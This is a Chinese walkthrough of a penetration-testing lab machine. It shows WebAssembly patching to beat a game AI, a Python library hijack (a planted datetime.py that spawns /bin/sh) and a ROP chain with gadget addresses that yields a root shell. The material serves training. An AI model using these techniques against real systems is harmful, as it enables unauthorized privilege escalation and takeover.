Sublarge

// 红队渗透 · 2026-02-28

MazeSec-ezAI2 靶机WP

本靶机涵盖前端 Wasm 漏洞利用、Python 提权、二进制 PWN、ROP 链构造等硬核知识点。亮点:花式破解无敌 AI 棋局——直接篡改 Wasm 模块、反转 Minimax 算法让 AI 变笨,或动态调试篡改 Wasm 共享内存,强行获胜拿权限。

靶机信息

MazeSec原创靶机 maze-sec.com

作者:Yolo

系统:Linux

难度:Medium

一、信息搜集

这里我们使用rustscan对目标IP 192.168.1.18 进行端口探测,rustscan作为现代端口扫描工具,具备扫描速度快、资源占用低的特点,--ulimit 5000用于提升系统文件描述符限制以支持高效扫描,-sV则用于识别端口对应的服务版本:

扫描结果显示目标开放了22(SSH)和8080(HTTP)两个端口,其中8080端口运行的是基于Go语言的HTTP服务,进一步访问后确认该端口部署了一个井字棋(Tic Tac Toe)游戏应用,这成为我们后续渗透的核心突破口。

二、Tic Tac Toe 游戏突破

2.1 漏洞原理分析

该井字棋游戏的核心机制是:玩家先手、AI后手,且AI采用最优策略(几乎无法战胜)。通过审计前端代码发现,游戏逻辑由Go编译的WebAssembly(Wasm)模块在本地浏览器端执行(而非服务端),这是关键漏洞点——本地执行的代码可被篡改,从而修改AI的决策逻辑。

首先看Wasm模块的初始化代码,wasm_exec.js是Go官方提供的适配层,用于让Go编译的Wasm模块在JS环境中运行:

// Wasm模块初始化核心代码
async function init() {
    const result = await WebAssembly.instantiateStreaming(fetch("main.wasm"), go.importObject);
    go.run(result.instance);
    
    const resp = await fetch("/init");
    const data = await resp.json();
    sessionID = data.session_id;
    document.getElementById('sid').innerText = sessionID;
    
    // 初始化Wasm游戏状态
    initGame(sessionID, data.seed);
    
    // 启用玩家回合
    isPlayerTurn = true;
    document.getElementById('status').innerText = "YOUR TURN (X)";
}
js17 行

2.2 方法一:篡改Wasm模块修改AI策略

2.2.1 反编译Wasm文件

首先使用wasm2wat工具将二进制格式的Wasm文件转换为文本格式(WAT),便于逆向分析和修改:

❯ wasm2wat main.wasm -o main.wat
bash1 行

工具链接:https://github.com/WebAssembly/wabt

2.2.2 定位核心函数

Go编译的Wasm文件中,业务逻辑函数通常以main.为前缀,反编译后可定位到7个核心函数(前面是行数,大家如果都用最新的wasm2wat,反编译出来的信息应该是一样的):

776821 (func $main.main (type 0) (param i32) (result i32)
777515 (func $main.initGame (type 0) (param i32) (result i32)
778097 (func $main.updateProof (type 0) (param i32) (result i32)
778902 (func $main.getCurrentProof (type 0) (param i32) (result i32)
779325 (func $main.getAIMove (type 0) (param i32) (result i32)
779786 (func $main.minimax (type 0) (param i32) (result i32)
780429 (func $main.checkWinner (type 0) (param i32) (result i32)
text7 行

2.2.3 Minimax算法知识点说明

$main.minimax是AI决策的核心,Minimax(极小极大)算法是博弈论中经典的决策算法,核心逻辑是:

  • AI作为“最大化者”,试图选择能让自身得分最高的落子位置;
  • 假设玩家作为“最小化者”,会选择对AI最不利的落子位置;
  • 通过递归遍历所有可能的棋局,计算每个位置的得分,最终选择最优解。

以下是Minimax算法的伪代码示例,帮助理解核心逻辑:

2.2.4 篡改AI策略

AI的最优策略依赖两个关键参数:

  1. 初始最高分:在780023行定义为i64.const -10000(AI初始目标是找最高分);
  2. 比较逻辑:在780067行定义为i64.lt_s(判断新得分是否大于当前最高分)。

要让AI选择最差策略,需修改:

  • 初始分数:i64.const -10000 → i64.const 10000(AI初始目标变为找最低分);
  • 比较逻辑:i64.lt_s → i64.gt_s(判断新得分是否小于当前最低分)。

修改位置参考下图断点标注区域:

2.2.5 重新编译Wasm文件

修改完成后,使用wat2wasm将WAT文件编译回二进制Wasm文件:

❯ wat2wasm ./main.wat -o main_patched.wasm
bash1 行

编译过程如下图所示:

2.2.6 本地替换验证

在浏览器开发者工具(DevTools)的「源代码」面板中启用「本地替换」功能,将修改后的main_patched.wasm替换原文件,刷新页面后AI策略失效,随意落子即可获胜,最终获取用户凭据:ttt:1q2w3e4r@Dashazi。

2.3 方法二:动态调试篡改Wasm内存

该方法利用WebAssembly与JavaScript共享内存的特性,直接篡改游戏内存中的落子记录,绕过AI的Minimax策略(本质是替AI落子,让玩家直接获胜)。

2.3.1 核心原理

Wasm与JS运行在同一内存空间,可通过JS直接修改Wasm中的棋盘状态和落子记录,同时调用updateProof生成合法的证明值(服务端仅校验证明值合法性,不校验落子来源)。

2.3.2 利用脚本(exp.js)

在浏览器控制台执行以下脚本,直接伪造获胜的落子序列:

2.3.3 执行流程可视化

以下流程图清晰展示了脚本的执行逻辑:

2.3.4 执行效果

脚本执行后,控制台输出自定义的获胜棋谱,如下图所示:

2.4 其他可行方法

除上述两种核心方法外,还有多种进阶思路(难度更高):

  1. 逆向Proof算法:彻底反编译Wasm,还原updateProof的计算逻辑,直接生成合法的棋谱和证明值;
  2. 模拟Flag获取逻辑:反编译Wasm后,模拟服务端的Flag校验流程,直接计算出Flag;
  3. 复用AI的Proof值:劫持AI生成的Proof值并提交(该方法在本题中被禁用,但同类场景可复用)。

参考资料:作者此前分析的同类题目(Pragyan CTF):https://yo1o.top/post/pragyan-ctf/#tac-tic-toe

三、提权至yolo用户

3.1 获取ttt用户权限

通过破解井字棋游戏,拿到ttt用户的登录凭据:ttt:1q2w3e4r@Dashazi,登录后直接读取用户Flag:

ttt@ezAI2:~$ cat user.txt
flag{7f0a4a443fbb44179219......}
bash2 行

3.2 分析sudo权限

查看ttt用户的sudo权限,发现可无密码以yolo用户身份执行/opt/greeting.py:

ttt@ezAI2:~$ sudo -l
Matching Defaults entries for ttt on ezAI2:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User ttt may run the following commands on ezAI2:
    (yolo) NOPASSWD: /usr/bin/python3 /opt/greeting.py
bash7 行

3.3 Python库劫持提权

3.3.1 提权原理

Python库劫持(Library Hijacking)是常见的提权手法:当Python脚本import模块时,会优先从当前目录加载模块,而非系统默认路径。若目标脚本导入了datetime等系统模块,且当前目录可写,即可创建同名恶意模块实现提权。

3.3.2 检查文件权限

ttt@ezAI2:/opt$ ls -la
total 16
drwxrwxrwt  3 root     root     4096 Feb 26 02:08 .
drwxr-xr-x 18 root     root     4096 Mar 18  2025 ..
drwxr-xr-x  3 www-data www-data 4096 Feb 26 01:13 challenge
-rw-r--r--  1 yolo     yolo     2837 Feb 26 01:57 greeting.py
bash6 行

/opt目录为rwxrwxrwt权限(任意用户可写),但greeting.py仅yolo用户可修改,因此选择库劫持而非文件篡改。

3.3.3 构造恶意模块

greeting.py首行是import datetime,因此在/opt目录创建datetime.py,写入恶意代码:

ttt@ezAI2:/opt$ nano datetime.py
ttt@ezAI2:/opt$ cat datetime.py
import os
os.system('/bin/sh')
bash4 行

3.3.4 执行提权

以yolo用户身份执行greeting.py,触发库劫持并获取yolo用户shell:

ttt@ezAI2:/opt$ sudo -u yolo /usr/bin/python3 /opt/greeting.py
$ id
uid=1001(yolo) gid=1001(yolo) groups=1001(yolo)
$ 
bash4 行

知识点补充:Python库加载优先级

  1. 内置模块(如sys、os);
  2. 当前执行目录(./);
  3. PYTHONPATH环境变量指定的路径;
  4. 系统默认库路径(如/usr/lib/python3.x/)。

四、提权至root用户

4.1 发现漏洞程序

切换到yolo用户家目录,发现一个属主为root、属组为yolo的ELF可执行文件waityou:

yolo@ezAI2:~$ ls -la
total 40
drwxr-xr-x 2 yolo yolo  4096 Feb 26 02:41 .
drwxr-xr-x 4 root root  4096 Feb 26 01:39 ..
-rw-r--r-- 1 yolo yolo   220 Apr 18  2019 .bash_logout
-rw-r--r-- 1 yolo yolo  3593 Feb 26 02:40 .bashrc
-rw-r--r-- 1 yolo yolo   807 Apr 18  2019 .profile
-rwxr-x--- 1 root yolo 17584 Feb 26 02:19 waityou
yolo@ezAI2:~$ file waityou
waityou: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=1c2594cd6ab581fe9845ca56e3aa383739113557, for GNU/Linux 3.2.0, not stripped
bash10 行

执行该程序时提示端口被占用,查看端口和进程发现waityou已被root用户启动,监听本地9999端口:

yolo@ezAI2:~$ ./waityou
bind: Address already in use
yolo@ezAI2:~$ ss -tuln
Netid      State       Recv-Q      Send-Q           Local Address:Port            Peer Address:Port      
udp        UNCONN      0           0                      0.0.0.0:68                   0.0.0.0:*         
tcp        LISTEN      0           20                   127.0.0.1:9999                 0.0.0.0:*         
tcp        LISTEN      0           128                    0.0.0.0:22                   0.0.0.0:*         
tcp        LISTEN      0           128                          *:8080                       *:*         
tcp        LISTEN      0           128                       [::]:22                      [::]:*  
yolo@ezAI2:~$ ps aux | grep waityou
root         337  0.0  0.0   2228   556 ?        Ss   10:02   0:00 /home/yolo/waityou
yolo         966  0.0  0.0   6176   640 pts/0    S+   12:36   0:00 grep waityou
bash12 行

4.2 端口转发(无nc环境)

靶机未安装nc,需通过端口转发访问本地9999端口,这里提供两种方法:

方法1:SSH隧道

本地执行SSH命令,将靶机9999端口映射到本地8888端口:

❯ ssh -L 8888:127.0.0.1:9999 yolo@192.168.1.18 -i ezai
bash1 行

新开终端连接本地8888端口:

❯ nc 127.0.0.1 8888
>>> Initializing romantic link...
>>> [LOG] 「私、幸せになる勇気がなかったの。」
>>> Enter Access Code: aaaaaa
Ncat: Broken pipe.
bash5 行

方法2:Chisel端口转发

Chisel是跨平台的端口转发工具,适用于无SSH隧道的场景:

# 靶机启动Chisel服务端
yolo@ezAI2:~$ ./chisel server -p 8000
2026/02/26 12:19:29 server: Fingerprint eiUOND5HyJVM/uxS5I/ceKLcAT+UeMCDBtVFVGa2srg=
2026/02/26 12:19:29 server: Listening on http://0.0.0.0:8000

# 本地启动Chisel客户端,映射靶机9999端口到本地8887端口
❯ ./chisel client 192.168.1.18:8000 8887:127.0.0.1:9999
2026/02/27 01:20:34 client: Connecting to ws://192.168.1.18:8000
2026/02/27 01:20:34 client: tun: proxy#8887=>9999: Listening
2026/02/27 01:20:34 client: Connected (Latency 691.265µs)

# 本地连接转发后的端口
❯ nc 127.0.0.1 8887
>>> Initializing romantic link...
>>> [LOG] 「私、幸せになる勇気がなかったの。」
>>> Enter Access Code:
bash16 行

4.3 逆向分析漏洞

4.3.1 程序功能

waityou是一个TCP服务端程序,核心逻辑:

  1. 创建socket,监听本地9999端口;
  2. 接受客户端连接,为每个连接创建子进程处理;
  3. 子进程调用vuln函数处理用户输入。

4.3.2 漏洞函数(vuln)

逆向得到vuln函数的C伪代码:

漏洞核心:buf缓冲区仅64字节(0x40),但read函数读取256字节输入,导致栈缓冲区溢出。

4.3.3 安全检查

使用checksec检查程序保护机制:

❯ checksec waityou
[*] '/home/yolo/timus/waityou'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    Stripped:   No
bash8 行

关键结论:

  • 无栈金丝雀(Stack Canary):可直接溢出返回地址;
  • 无PIE:程序地址固定,无需泄露基址;
  • NX开启:栈不可执行,需用ROP(Return-Oriented Programming)绕过。

4.4 ROP链构造

ROP(返回导向编程)是利用程序中已有的指令片段(Gadget)拼接成攻击逻辑的技术,核心是通过溢出覆盖返回地址,跳转到Gadget执行。

4.4.1 关键Gadget与地址

  1. “/bin/sh” 字符串地址:逆向发现hints变量定义为:char hints[] = "sh\0may be she is wait for you!!!";,由于C语言以\0为字符串结束符,hints实际指向"sh",地址为0x4040E0。

  1. pop rdi; ret Gadget:用于将参数存入RDI寄存器(64位Linux下函数参数优先通过寄存器传递,system函数的第一个参数存在RDI中):
❯ ROPgadget --binary waityou | grep "pop rdi ; ret"
0x0000000000401246 : pop rdi ; ret
bash2 行
  1. system函数地址:PLT(过程链接表)中的system函数地址:
❯ objdump -d waityou | grep "system@plt"
0000000000401050 <system@plt>:
bash2 行
  1. ret Gadget(栈对齐):64位系统要求栈地址16字节对齐,需额外的ret指令调整栈:
❯ ROPgadget --binary waityou | grep " : ret$"
0x0000000000401016 : ret
bash2 行

4.4.2 溢出偏移计算

vuln函数中buf位于[rbp-0x40],因此:

  • buf到rbp的偏移:0x40(64字节);
  • rbp本身占用:8字节;
  • 总填充长度(padding):64+8=72字节。

4.4.3 ROP链逻辑

padding(72字节) + ret(栈对齐) + pop rdi; ret + sh地址(0x4040E0) + system地址(0x401050)
text1 行

执行流程:

  1. 溢出覆盖返回地址为ret(0x401016),调整栈对齐;
  2. 跳转到pop rdi; ret,将栈顶的0x4040E0弹出到RDI;
  3. 跳转到system函数,执行system("sh")获取root shell。

4.5 攻击脚本

4.6 执行脚本获取root权限

❯ python exp.py
[*] Connecting to 127.0.0.1:8888 ...
[+] Opening connection to 127.0.0.1 on port 8888: Done
[*] Sending payload (104 bytes) ...
[+] Successfully!!!
[*] Switching to interactive mode
$ id
uid=0(root) gid=0(root) groups=0(root)
$ cat /root/root.txt
flag{4c00347e1f124840bc0a0.......}
bash10 行

五、总结

  1. WebAssembly本地执行漏洞:本地运行的Wasm模块可被篡改,核心是修改AI的Minimax算法参数或直接篡改内存,绕过服务端校验;
  2. Python库劫持提权:利用Python模块加载优先级,在可写目录创建同名模块,劫持系统库实现提权;
  3. ROP链栈溢出提权:64位程序栈溢出需关注寄存器传参规则和栈对齐要求,利用ROP Gadget拼接攻击逻辑,实现无NX绕过的root权限获取。

整个渗透流程覆盖了前端漏洞利用、权限提升、二进制漏洞挖掘与利用,核心思路是从信息搜集到逐层突破,利用目标系统的配置缺陷和程序漏洞实现全权限控制。

原文 https://xz.aliyun.com/news/91657